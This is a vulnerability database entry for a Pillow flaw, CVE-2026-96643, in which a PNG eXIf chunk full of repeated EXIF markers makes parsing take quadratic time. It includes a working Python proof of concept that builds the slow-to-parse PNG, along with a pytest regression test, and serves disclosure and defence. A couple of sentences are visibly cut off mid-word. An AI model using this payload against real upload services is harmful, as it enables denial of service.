VulnerabilityPublished 29 Oct 2026

CVE-2026-96643: Pillow · PNG eXIf chunk makes EXIF parsing run in quadratic time

Affects aiderSource GCVE Database

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Authoritative record:CVE-2026-96643· High 7.1

Not known to be exploited · CVSS 7.1 High.

Data as of 30 Oct 2026, 07:30 UTC

CVSS 4.0 base score

7.1High

How severe the flaw is on the 0–10 CVSS scale.

Thin evidence

One scorer or none

CVSS scores by source
CNA (GitHub_M)	CVSS 4.0	7.1

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

Attack Vector: Network
Attack Complexity: Low
Attack Requirements: None
Privileges Required: None
User Interaction: Passive
Vulnerable system confidentiality: None
Vulnerable system integrity: None
Vulnerable system availability: High
Subsequent system confidentiality: None
Subsequent system integrity: None
Subsequent system availability: None

Bold values are the worst case: easiest to exploit or largest impact.

Attack Vector: Network: The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers).
Attack Complexity: Low: The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Attack Requirements: None: The successful attack does not depend on the deployment and execution conditions of the vulnerable system. The attacker can expect to be able to reach the vulnerability and execute the exploit under all or most instances of the vulnerability.
Privileges Required: None: The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
User Interaction: Passive: Successful exploitation of this vulnerability requires limited interaction by the targeted user with the vulnerable system and the attacker’s payload. These interactions would be considered involuntary and do not require that the user actively subvert protections built into the vulnerable system.
Vulnerable system confidentiality: None: There is no loss of confidentiality within the Vulnerable System.
Vulnerable system integrity: None: There is no loss of integrity within the Vulnerable System.
Vulnerable system availability: High: There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the Vulnerable System; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the Vulnerable System (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).
Subsequent system confidentiality: None: There is no loss of confidentiality within the Subsequent System or all confidentiality impact is constrained to the Vulnerable System.
Subsequent system integrity: None: There is no loss of integrity within the Subsequent System or all integrity impact is constrained to the Vulnerable System.
Subsequent system availability: None: There is no impact to availability within the Subsequent System or all availability impact is constrained to the Vulnerable System.

Definitions: FIRST CVSS v4.0 specification.

Exploitation evidence

Disclosed: evidence found.
CVE published 21 Oct 2026
Detectable: no evidence on record.
No public nuclei template indexed
Weaponized: no evidence on record.
No public exploit code indexed in Metasploit or Exploit-DB
Exploited in the wildExploited: no evidence on record.
Not in CISA KEV and no source reports exploitation
Observed by OffSeq MirageSeen by Mirage: no evidence on record.
No attack traffic recorded by OffSeq Mirage sensors

A missing step is not evidence of safety. Sources: cve.org (opens in a new tab), the Metasploit, Exploit-DB and nuclei-templates index as of 29 Oct 2026.

Disclosed: The CVE record is public on cve.org. Its publication is t = 0.
Detectable: A public nuclei template can find exposed instances, for defenders and attackers alike.
Weaponized: A Metasploit exploit module or Exploit-DB entry exists (Metasploit scanner modules do not count), or CISA SSVC or the CVSS exploit maturity reports a public proof of concept.
Exploited in the wild: CISA KEV lists it, CISA SSVC rates exploitation active, or a source reports attacks.
Observed by OffSeq Mirage: OffSeq Mirage honeypot sensors recorded attack traffic for this CVE, or found exposed hosts without attack traffic.

Moments are spaced evenly, not to scale; a dashed line marks a gap of six months or more. Deltas count from t = 0. Sources that give only a date (CISA KEV, Exploit-DB, or a time of exactly 00:00Z) read “same day” rather than hours. Metasploit modules carry the flaw’s disclosure date, not their release date, and nuclei templates carry no date, so both appear above but not on the timeline.

What to do

Affected software

Product	Affected	Fixed in
Homebrewaider`pkg:brew/aider`Other threats	Affected >=0.86.1_1	Fixed in–

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Description

### Summary A PNG file with a large eXIf chunk full of repeated 6-byte markers makes Pillow's EXIF parser take seconds of CPU instead of milliseconds. The cost grows with the square of the chunk size, so a normal small-photo-sized file is enough to cause real delay. ### Details `Exif.load()` in `src/PIL/Image.py` strips a marker from the start of the EXIF data like this: ```python while data and data.startswith(b"Exif\x00\x00"): data = data[6:] ``` Each pass makes a new copy of the remaining data. A real camera writes this marker once, so this is not normally a problem. `chunk_eXIf()` in `src/PIL/PngImagePlugin.py` puts the raw PNG eXIf chunk straight into `info["exif"]` with no size limit and no check of its content. PNG text chunks (tEXt, zTXt, iTXt) are capped with `MAX_TEXT_CHUNK` and `MAX_TEXT_MEMORY`. The eXIf chunk has no such cap. If the eXIf chunk is filled with repeated `Exif\x00\x00` markers instead of real EXIF data, the strip loop runs once per marker, copying a large buffer each time. This is a classic quadratic time bug. ### Steps to reproduce This builds a small PNG in memory and times `Image.open().getexif()` on it. No external file needed. ```python import time from io import BytesIO from PIL import Image, PngImagePlugin def chunk(cid, *data): fp = BytesIO() PngImagePlugin.putchunk(fp, cid, *data) return fp.getvalue() MAGIC = PngImagePlugin._MAGIC IHDR = chunk(b"IHDR", PngImagePlugin.o32(1), PngImagePlugin.o32(1), b"\x08\x02", b"\0\0\0") IDAT = chunk(b"IDAT") IEND = chunk(b"IEND") marker = b"Exif\x00\x00" exif_chunk = chunk(b"eXIf", marker * 300_000) # 1.8MB, all markers data = MAGIC + IHDR + exif_chunk + IDAT + IEND start = time.time() with Image.open(BytesIO(data)) as im: im.getexif() print("took", time.time() - start, "seconds") ``` Expected output on a fixed version: well under 0.1 seconds, the same as a normal file this size. Actual output on the current code: around 3.5 to 3.7 seconds, for a single 1.8MB file. We checked with a prohis time is spent inside the strip loop itself, not somewhere else. We also checked the growth rate across a few sizes (200KB, 600KB, 1.2MB, 1.8MB) and it matches quadratic growth closely, not linear. A pytest version of this test, using `pytest-timeout` so a test run does not hang if the bug is present, is it fails with `Failed: Timeout (>2.0s) from pytest-timeout`. ```python import pytest from io import BytesIO from PIL import Image, PngImagePlugin def chunk(cid, *data): fp = BytesIO() PngImagePlugin.putchunk(fp, cid, *data) return fp.getvalue() MAGIC = PngImagePlugin._MAGIC IHDR = chunk(b"IHDR", PngImagePlugin.o32(1), PngImagePlugin.o32(1), b"\x08\x02", b"\0\0\0") IDAT = chunk(b"IDAT") IEND = chunk(b"IEND") @pytest.mark.timeout(2) def test_exif_load_is_not_quadratic(): marker = b"Exif\x00\x00" exif_chunk = chunk(b"eXIf", marker * 300_000) data = MAGIC + IHDR + exif_chunk + IDAT + IEND with Image.open(BytesIO(data)) as im: im.getexif() ``` ### Impact - Availability: an attacker who can get one PNG file processed can burn several seconds of CPU per request w A bigger file scales worse, since the cost is quadratic, not linear. - Confidentiality: none. - Integrity: none. - This fires through `Image.getexif()`, `Image._getexif()`, and `ImageOps.exif_transpose()`. `exif_transpose()` is the function Pillow's own docs recommend for auto-rotating user photos, so this can hit normal upload handling code, not just an unusual call.

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